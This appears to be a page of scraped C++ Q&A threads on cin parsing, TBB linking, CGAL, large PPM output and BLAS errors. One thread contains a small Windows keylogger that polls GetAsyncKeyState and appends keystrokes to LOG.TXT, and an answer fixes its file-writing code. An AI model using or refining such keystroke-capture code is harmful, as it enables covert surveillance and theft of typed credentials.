uninitialized local variable with cin use - variables

I am working on this code (in c++) and I finished but i have 2 errors on line 19 when I use them in for loops about variables y and m, saying that they are uninitialized local variables. I don't see how this is possible because I declared them at the beginning as int and their value is assigned when the user inputs in cin.
#include <iostream>
#include <string>
#include <cmath>
#include <math.h>
#include <vector>
using namespace std;
int main()
{
int a, b, n, l = 0;
cin >> a, b, n;
for (int i = 0; i < 20; i++)
{
for (int j = 0; j < 20; j++)
{
if (l < (i*a + j*b) && (i*a + j*b) <= n)
l = i*a + j*b;
}
}
cout << l;
return 0;
}

I'm not in a position to test this, but Multiple inputs on one line suggests that your syntax should be
cin >> a >> b >> c;
Regardless, I think the compiler is suggesting that assignment to all variables isn't guaranteed by cin so without explicit initialisation when they're declared you're assuming too much.

Related

what brings about a dependency on tbb?

Using g++12 and CMake.
I have a source file
holes5.cpp
which does not
#include <execution>
and does not need to link to tbb.
Now if I add
#include <execution>
it does not require linking to tbb either. So what exact step does it take to start depending on tbb (thus requiring linking to tbb). I am confused.
Installed tbb via
sudo apt install libtbb-dev
In CMakeList.txt:
list(APPEND CMAKE_MODULE_PATH "deps/tbb/cmake/")
find_package(TBB REQUIRED)
set (SOURCES holes5.cpp)
add_executable(holes5 ${SOURCES})
set (SOURCES par_unseq.cpp)
add_executable(par_unseq ${SOURCES})
target_link_libraries(par_unseq PUBLIC TBB::tbb)
par_unseq.cpp:
#include <cstdint>
#include <iostream>
#include <chrono>
#include <cmath>
#include <numeric>
#include <utility>
#include <algorithm>
#include <execution>
using namespace std;
double f(double x) noexcept
{
const int N = 1000;
for (int i = 0; i < N; ++i) {
x = log2(x);
x = cos(x);
x = x * x + 1;
}
return x;
}
double sum(const vector<double>& vec)
{
double sum = 0;
for (auto x : vec)
sum += x;
return sum;
}
int main()
{
cout << "Hey! Your machine has " << thread::hardware_concurrency() << " cores!\n";
// Make an input vector.
const int N = 1000000;
vector<double> vecInput(N);
for (int i = 0; i < N; ++i)
vecInput[i] = i + 1;
{ // Case #1: Plain transform, no parallelism.
auto startTime = chrono::system_clock::now();
vector<double> vecOutput(N);
transform(vecInput.cbegin(), vecInput.cend(), vecOutput.begin(), f);
auto endTime = chrono::system_clock::now();
chrono::duration<double> diff = endTime - startTime;
cout << "1. sum = " << sum(vecOutput) << ", time = " << diff.count() << "\n";
}
{ // Case #2: Transform with parallel unsequenced.
vector<double> vecOutput(N);
auto startTime = chrono::system_clock::now();
transform(execution::par_unseq,
vecInput.cbegin(), vecInput.cend(), vecOutput.begin(), f);
auto endTime = chrono::system_clock::now();
chrono::duration<double> diff = endTime - startTime;
cout << "2. sum = " << sum(vecOutput) << ", time = " << diff.count() << "\n";
}
}
/* Output:
Hey! Your machine has 4 cores!
1. sum = 1.60346e+06, time = 43.7997
2. sum = 1.60346e+06, time = 10.8235
*/
According to the libstdc++ documentation (see Note 3), you must link -ltbb whenever you include the <execution> header.
If you don't actually use any of the functions from <execution>, or you do but the compiler manages to inline them all, then your program might link even without -ltbb. This might be dependent on a specific version of the header or library, compiler version, or compilation options. And even then, it does not guarantee that the program will work correctly. It could be that including the header changes the compilation in some way, and that -ltbb includes initialization code needed for this to work correctly. Even if it doesn't now, it might in the future.
So I think the answer is very simple: if you include the header, link the library. If you don't need the <execution> features, then don't include the header in the first place.

retrieve the index of point in CGAL

In the following code, a delaunay triangulation is made from an N dimensional array named points. Every element of this array has an index associated with it. For every vertex of the triangulation the nearest vertex is found correctly (without using the libraray: CGAL/Triangulation_vertex_base...). Now, I want to retrieve the index of each neighbor point with ->info(), but the way I've implemented that leads to error! How can I do that?
#include <vector>
#include <CGAL/Exact_predicates_inexact_constructions_kernel.h>
#include <CGAL/Delaunay_triangulation_2.h>
#include <CGAL/Triangulation_vertex_base_with_info_2.h>
using namespace std();
typedef CGAL::Exact_predicates_inexact_constructions_kernel Kernel;
typedef CGAL::Triangulation_vertex_base_with_info_2<unsigned int, Kernel> Vb;
typedef CGAL::Triangulation_data_structure_2<Vb> Tds;
typedef CGAL::Delaunay_triangulation_2<Kernel, Tds> Triangulation;
typedef Triangulation::Edge_iterator Edge_iterator;
typedef Triangulation::Point Point;
typedef Triangulation::Vertex_handle Vertex_handle;
typedef Triangulation::Vertex_circulator Vertex_circulator;
typedef Kernel::Point_2 Point_2;
typedef std::vector<std::pair<Point_2, unsigned> > Vector;
const int N = 16;
int main(){
Vector points;
points.reserve(N);
.... {Some part of code which assignes values to dir[N][2]}
for (int i = 0; i < N; i++)
points.push_back(make_pair(Point_2(dir[i][0], dir[i][1]), i));\\ I want each point to have an index
Triangulation T;
T.insert(points.begin(), points.end());
cout << T.number_of_vertices() <<endl;
for(int i = 0; i < N; i++){
Vertex_handle handle = T.nearest_vertex(points[i]);
cout<<"incidents: \n" <<endl;
cout << handle->point() <<endl<<endl;
Vertex_circulator circulator = T.incident_vertices(handle), done(circulator);
do
{
if( !T.is_infinite ( circulator))
cout << circulator->point() << endl;
cout << circulator->point()->info()<<endl;
} while(++circulator != done);
}
return 0;}
edit: It seems that the origin of the error is primarily because of using the following kernel: typedef CGAL::Delaunay_triangulation_2 Triangulation;
error: no matching function for call to CGAL::Delaunay_triangulation_2 > >::nearest_vertex(std::pair, unsigned int>&)’
edit 2: when I print the output in two different lines, weired number(96) appears:
The code:
cout<<circulator->point()<<endl;
cout<<circulator->info()<<endl;
output(total number of points, 4):
3.26675 0.733887
2
96
2.02307 0.718587
1
2.33861 1.68862
3
when I print the information in one line, the number 96 disappears;
cout<<circulator->point()<<"\t"<<circulator->info()<<endl;
3.26675 0.733887 2
2.02307 0.718587 1
2.33861 1.68862 3

File input not working

I have this C++ program that will get key code and store it as a string in a text file. After I run the program the file is supposed to appear alongside my cpp file but I doesn't appear. I think is got to do with the Save function where the file input and output is happening. Does anyone notices any errors(I get none while compiling).
#include <iostream>
#include <Windows.h>
#include <Winuser.h>
#include <fstream>
using namespace std;
int Save (int Key_Stroke, char *file);
int main(){
char i;
while(1){
for(i = 8; i <= 190; i++){
if(GetAsyncKeyState(i) == -32767){
Save(i, "LOG.TXT");
}
}
}
system("PAUSE");
return 0;
}
int Save (int Key_Stroke, char *file){
if((Key_Stroke == 1) || (Key_Stroke == 2) || (Key_Stroke == 5))
return 0;
FILE *OUTPUT_FILE;
OUTPUT_FILE = fopen(file, "a+");
fprintf(OUTPUT_FILE, "%s", &Key_Stroke);
fclose(OUTPUT_FILE);
cout << Key_Stroke << endl;
return 0;
}
When using C fprintf (this isn't typically used in C++, see ofstream) you don't use reference operator & because you are passing value to function, not address. Also formatting string is wrong, you want to write int %d, not array of chars %s (more here)
Your Save function should look like
int Save(int Key_Stroke, const char *file)
{
if((Key_Stroke == 1) || (Key_Stroke == 2) || (Key_Stroke == 5))
return 0;
FILE *OUTPUT_FILE = fopen(file, "a+");
if(OUTPUT_FILE != NULL)
{
fprintf(OUTPUT_FILE, "%d", Key_Stroke);
fclose(OUTPUT_FILE);
}
cout << Key_Stroke << endl;
return 0;
}
Also notice const keyword in second argument of the function. This should be used to avoid writing to constant area of memory - directly written array of chars "LOG.TXT" .
Next thing, you should always check if the file you are trying to write to is correctly opened if(OUTPUT_FILE != NULL) .

big data-set: write data to file little by little? or continuously?

I have a working prototype-code that creates a .ppm image file from a set of simple parameters.
The purpose is to create a very large picture (something like 100000 * 100000 pixels) and to print a high-resolution wallpaper from it with a large format laser printer.
the problem I have is that my program crashes when height/width are superior to 22000 pixels.
In my program, all the data is stored in a deque while computing, then at the end the deque is exported to the file.
The program creates the data line-by-line, i.e., after each line the deque is filled by a dataset for one line of the picture.
Is it possible to write the deque in the file each time a line has been processed and then clear the deque before starting the next one??
here's my code:
#include <iostream>
#include <fstream>
#include <vector>
#include <deque>
#include <iterator>
#include <cstdlib>
#include <string>
#include <sstream>
using namespace std;
// constant values
double Da=1; //densities
double Db=0.5;
double Dc=0.5;
double Dd=0;
double l = 22000; //width & height
double h = 22000;
//double u = 1; // UNIT
double D = 0; // GAMMA
double E = 0; // ERREUR LOCALE
vector <double> F; // ERREUR DYNAMIQUE
int main ()
{
// vector
deque <int> dequeA;
F.push_back (0);
float a = 0;
float b = 0; // Local variables
double IO = 0; // variable I/O
while (a<l+1, b<h+1){
//values for given a & b
double DL = Da-Da*(b/h)+Dc*(b/h);
double DR = Db-Db*(b/h)+Dd*(b/h);
double D = DL-DL*(a/l)+DR*(a/l); //GAMMA
if (E+0-D<=-0.5) {
dequeA.push_back(1);
IO = 1;
}
else {
dequeA.push_back(0);
IO = 0;
}
E = E+IO-D;
F.push_back(E);
// next pixel & next line
a++;
if (a>l) {
a = 0;
b = b++;
E = 0;
F.clear();
}
}
//export values to .txt file
ofstream output_file("./test.ppm");
// write file header
output_file << "P1\n" << (l+1) << " " << (h+1) << "\n";
//write image data
ostream_iterator<int> output_iterator(output_file, "\n");
copy(dequeA.begin(), dequeA.end(), output_iterator);
}

Blas DGEMV input error

I'm having trouble figuring out why a piece of blas call is throwing n error. The problem call is the last blas call. The code compiles without issue and runs fine up until this call then fails with the following message.
** ACML error: on entry to DGEMV parameter number 6 had an illegal value
As far as I can tell everything the input types are correct and array a has
I would really appreciate an insight into the problem.
Thanks
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include "cblas.h"
#include "array_alloc.h"
int main( void )
{
double **a, **A;
double *b, *B, *C;
int *ipiv;
int n, nrhs;
int info;
int i, j;
printf( "How big a matrix?\n" );
fscanf( stdin, "%i", &n );
/* Allocate the matrix and set it to random values but
with a big value on the diagonal. This makes sure we don't
accidentally get a singular matrix */
a = alloc_2d_double( n, n );
A= alloc_2d_double( n, n );
for( i = 0; i < n; i++ ){
for( j = 0; j < n; j++ ){
a[ i ][ j ] = ( ( double ) rand() ) / RAND_MAX;
}
a[ i ][ i ] = a[ i ][ i ] + n;
}
memcpy(A[0],a[0],n*n*sizeof(double)+1);
/* Allocate and initalise b */
b = alloc_1d_double( n );
B = alloc_1d_double( n );
C = alloc_1d_double( n );
for( i = 0; i < n; i++ ){
b[ i ] = 1;
}
cblas_dcopy(n,b,1,B,1);
/* the pivot array */
ipiv = alloc_1d_int( n );
/* Note we MUST pass pointers, so have to use a temporary var */
nrhs = 1;
/* Call the Fortran. We need one underscore on our system*/
dgesv_( &n, &nrhs, a[ 0 ], &n, ipiv, b, &n, &info );
/* Tell the world the results */
printf( "info = %i\n", info );
for( i = 0; i < n; i++ ){
printf( "%4i ", i );
printf( "%12.8f", b[ i ] );
printf( "\n" );
}
/* Want to check my lapack result with blas */
cblas_dgemv(CblasRowMajor,CblasTrans,n,n,1.0,A[0],1,B,1,0.0,C,1);
return 0;
}
The leading dimension (LDA) needs to be at least as large as the number of columns (n) for a RowMajor matrix. You’re passing a LDA of 1.
Separately, I’m slightly suspicious of your matrix types; without seeing how alloc_2d_double is implemented there’s no way to be sure if you’re laying out the matrix correctly or not. Generally speaking, intermixing pointer-to-pointer-style “matrices” with BLAS-style matrices (contiguous arrays with row or column stride) is something of a code smell. (However, it is possible to do correctly, and you may well be handling it properly; it’s just not possible to tell if this is the case from the code you posted).